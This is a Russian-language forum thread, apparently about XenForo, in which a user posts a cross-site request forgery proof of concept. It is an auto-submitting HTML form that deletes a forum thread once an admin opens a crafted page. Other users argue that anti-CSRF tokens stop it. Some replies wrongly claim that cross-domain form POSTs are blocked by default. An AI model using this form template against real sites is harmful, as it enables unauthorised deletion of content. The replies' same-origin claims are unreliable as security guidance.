Нашел не хороший баг...

fortfox

Участники
Сообщения
0
Реакции
0
Баллы
298
Суть ошибки заключается, что можно что-то удалить обыному пользователю от имени админа или модератора.
Когда заходим смотреть какую нибудь тему, и если взять ссылку, там есть ещё одна директория, называется delete
Но эта директория доступна админу и модераторам форума. Если админ или модератор перейдёт туда, то у него спросят причину того, почему хотим удалить тему. Так вот если автоматизировать действия, то можно сделать так что бы админу или модератору достаточно просто перейти по ссылке как уже не будет какая-та или какие-то темы. Автоматизировать их можно зная только JS.
Тест провел не давно в одном из не больших форумах. РАБОТАЛА.
Если нам или любому пользователю просто перейти по этой директории то можно заметить что у нас не хватает прав.Снимок экрана (69).png
А у даминов будет выглядить совсем иначе.
Код формы удаления выглядит примерно так
HTML:
<form action="http://domain.com/threads/название-темы/delete" method="POST" class="xenForm formOverlay">
    <label for="ctrl_soft_delete">
    <input type="radio" name="hard_delete" id="ctrl_soft_delete" value="0" class="Disabler" checked="checked">
    </label>
    <input type="text" name="reason" class="textCtrl" placeholder="Причина...">
    <label for="ctrl_hard_delete">
    <input type="radio" name="hard_delete" id="ctrl_hard_delete" value="1"> Удалить физически</label>
    <input type="submit" value="Удалить тему" class="button primary">
</form>

А авто матизировать можно создав сайт и написать примерно такой код
HTML:
<html>
<head>
<script>
setTimeout(() => {
   document.getElementById('form').submit();
}, 1000)
</script>
</head>
<body>
<form action="http://domain.com/threads/название-темы/delete" method="POST"  id="form" class="xenForm formOverlay">
    <label for="ctrl_soft_delete">
    <input type="radio" name="hard_delete" id="ctrl_soft_delete" value="0" class="Disabler" checked="checked">
    </label>
    <input type="text" name="reason" class="textCtrl" value="Просто так для забавы))">
    <label for="ctrl_hard_delete">
    <input type="radio" name="hard_delete" id="ctrl_hard_delete" value="1"> Удалить физически</label>
    </form>
</body>
</html>
Теперь достаточно админу или модератору перейти по ссылке, и тема пропала
 
Последнее редактирование:
Ниче не будет работать, нужен токен для автоматизации. Через js это не прокатит.
 
  • Мне нравится
Реакции: Hope
А система прав для кого придумана?
Везде стоит проверка $visitor->hasPermission()
 
Matew, та не, он говорит, тип киньте ссылку на admin.php/delete-forum-and-db/ админам и форум удалится
 
Matew, та не, он говорит, тип киньте ссылку на admin.php/delete-forum-and-db/ админам и форум удалится
нет, надо создать левый сайт какой-то который отправит пост запрос с определёным содержанием. А что бы пост запрос был успешно принят, по ссылке должен перейти админ или модер
 
fortfox, это сработает только при отсутствии проверки на AntiCSRF токен (а такое может быть только в кривых плагинах)
 
  • Мне нравится
Реакции: Hope
Чтоооооо? До CSRF не дойдет даже. Нельзя через js отправить запрос на левый сайт если сайт этого не разрешил, гуглите что такое кросс-доменные запросы. Для того чтобы это сработало код должен выполниться на том же домене на котором находится форум. Даже не поддомене, домене!
 
Последнее редактирование:
  • Мне нравится
Реакции: Hope
Чтоооооо? Нельзя через js отправить запрос на левый сайт если сайт этого не разрешил, гуглите что такое кросс-доменные запросы. Для того чтобы это сработало код должен выполниться на том же домене на котором находится форум. Даже не поддомене, домене!
найн, ты не так понял, я про то что можно автоматизировать.
HTML:
<script>
setTimeout(() => {
   document.getElementById('form').submit();
}, 1000)
</script>
<form action="http://domain.com/threads/название-темы/delete" method="POST"  id="form" class="xenForm formOverlay">
    <label for="ctrl_soft_delete">
    <input type="radio" name="hard_delete" id="ctrl_soft_delete" value="0" checked="checked">
    </label>
    <input type="text" name="reason"  value="Просто так для забавы))">
    <label for="ctrl_hard_delete">
    <input type="radio" name="hard_delete" id="ctrl_hard_delete" value="1"> Удалить физически</label>
    </form>
Запрос будет отправлен через секунду после загрузки страницы
 
Последнее редактирование:
fortfox, это ты не понял. Твой код должен выполниться на домене форума под аккаунтом админа иначе ничего не сработает.
 
fortfox, это ты не понял. Твой код должен выполниться на домене форума под аккаунтом админа иначе ничего не сработает.
mizaider Я и писал что должен выполнять под акунтом админа, а вот с доменом я немного ошибся.
но и в некоторых форумах такой вариант отправки запроса работает, если тот не защищен
 
Последнее редактирование:
fortfox, не сработает. Кросс-доменные запросы нужно включить специально, по умолчанию можно обращаться только с текущего домена. Нужно специально сделать дыру чтобы это сработало.
 
  • Мне нравится
Реакции: Hope
fortfox, не сработает. Кросс-доменные запросы нужно включить специально, по умолчанию можно обращаться только с текущего домена. Нужно специально сделать дыру чтобы это сработало.
хммм, странно, но я без проблем отпровлял пост запросы с одного сайта на другой....:unsure::unsure::unsure:
Даж c одного сайта через форум от xenForo на другой сайт тож получалось:unsure::unsure::unsure:
 
Дак о чем разговор тогда. Чтобы пост отправить тебе надо перехватить куки админа и токен это если сессия к ип не привязана. JS'ом ничего не получится. Теме место в мусорке.
 
Последнее редактирование:
О, ещё одна тема из разряда "А давайте MD5 ломать, посылая по одному символу и проверять ответ?" (реальное предложение было).
Выучите сначала матчасть, а потом предлагайте.
 
Дак о чем разговор тогда. Чтобы пост отправить тебе надо перехватить куки админа и токен это если сессия к ип не привязана. JS'ом ничего не получится. Теме место в мусорке.
mizaider, та я понял что нет дыры, я имел ввиду автоматического отправка запроса когда админ перейдёт по ссылке.
 
fortfox, Дак запрос не отправится если код не будет выполняться на странице которая находится на домене ресурса. Если у тебя есть возможность положить левый код на страницу ресурса то зачем эти движения...
 
  • Мне нравится
Реакции: Hope
Современный облачный хостинг провайдер | Aéza
Назад
Сверху Снизу